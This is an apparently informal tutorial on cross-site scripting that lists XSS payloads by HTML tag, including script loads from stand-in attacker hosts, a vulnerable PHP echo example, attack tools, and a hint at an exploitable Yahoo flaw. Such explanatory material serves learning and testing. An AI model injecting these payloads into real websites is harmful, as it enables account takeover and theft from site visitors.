XSS Attack
XSS: XSS stands for Cross Site Scripting.XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.
Trust me thousands of website are at risk of this attack. In earlier day I have seen this vulnerability in many popular website like Rediff, Yahoo,Adobe Flash Player, even MI5 website. yahoo still has one great flaw in XSS, If you able to use it you can have access to any Yahoo user account(Unethical though).Don't ask me how to (Be ethical always), To know just google Yahoo DOM XSS
Before You Start:
1.Learn some basic of website scripting.
2.If you are an web developer, make sure you test your site/application before going live.Don't ignore the power of XSS.
3.Try to understand the terms used in this article(In case you are a novice)
4. To get deep into it get trained.
5. If you are just a Internet User don't fool yourself by thinking if you don't click on any link you will be protected from XSS.
XSS Attack Vectors:
So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.
Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behavior. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.
By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?
<SCRIPT>
The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:
External script:
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
Embedded script:
<SCRIPT> alert(“XSS”); </SCRIPT>
<BODY>
The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:
<BODY ONLOAD=alert("XSS")>
The BACKGROUND attribute can be similarly exploited:
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG>
Some browsers will execute a script when found in the <IMG> tag as shown here:
<IMG SRC="javascript:alert('XSS');">
There are some variations of this that work in some browsers:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IFRAME>
The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<INPUT>
If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK>
The <LINK> tag, which is often used to link to external style sheets could contain a script:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE>
The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:
<TABLE BACKGROUND="javascript:alert('XSS')">
The same applies to the <TD> tag, used to separate cells inside a table:
<TD BACKGROUND="javascript:alert('XSS')">
<DIV>
The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
The <DIV> STYLE attribute can also be manipulated in the following way:
<DIV STYLE="width: expression(alert('XSS'));">
<OBJECT>
The <OBJECT> tag can be used to pull in a script from an external site in the following way:
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED>
If the hacker places a malicious script inside a flash file, it can be injected in the following way:
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
Testing if a Site is exposed to XSS:
A simple test to see if your website is vulnerable to a cross-site scripting attack is to enter the following code snippet into a form field and submit the form:
<script>alert("Vulnerable to XSS");</script>
If an alert window pops up with the "Vulnerable to XSS" message when the form data is processed and displayed, then the application accepts tags and is at risk because the input data has not been validated either before being processed or being published.
here are three known types of cross site scripting: reflected, stored, and DOM injection. Reflected XSS is the easiest to exploit – a page will reflect user supplied data directly back to the user:
echo $_REQUEST['userinput'];
Stored XSS takes hostile data, stores it in a file, a database, or other back end system, and then at a later stage, displays the data to the user, unfiltered. This is extremely dangerous in systems such as CMS, blogs, or forums, where a large number of users will see input from other individuals.
With DOM based XSS attacks, the site’s JavaScript code and variables are manipulated rather than HTML elements. Alternatively, attacks can be a blend or hybrid of all three types. The danger with cross site scripting is not the type of attack, but that it is possible.
Attacks are usually implemented in JavaScript, which is a powerful scripting language. Using JavaScript allows attackers to manipulate any aspect of the rendered page, including adding new elements (such as adding a login tile which forwards credentials to a hostile site), manipulating any aspect of the internal DOM tree, and deleting or changing the way the page looks and feels. JavaScript allows the use of XmlHttpRequest, which is typically used by sites using AJAX technologies, even if victim site does not use AJAX today.
Tools:
1.Acunetix Web Vulnerability Scanner (testing tool)
2. XSSer (Attack tool with GUI Interface, My fav)
3. XSS-proxy (Powerfull & Customizable, Command line tool)
Get your hand dirty with these tool & play fair.Let me know any query you have after reading this article(I'm sure you have a lottt)
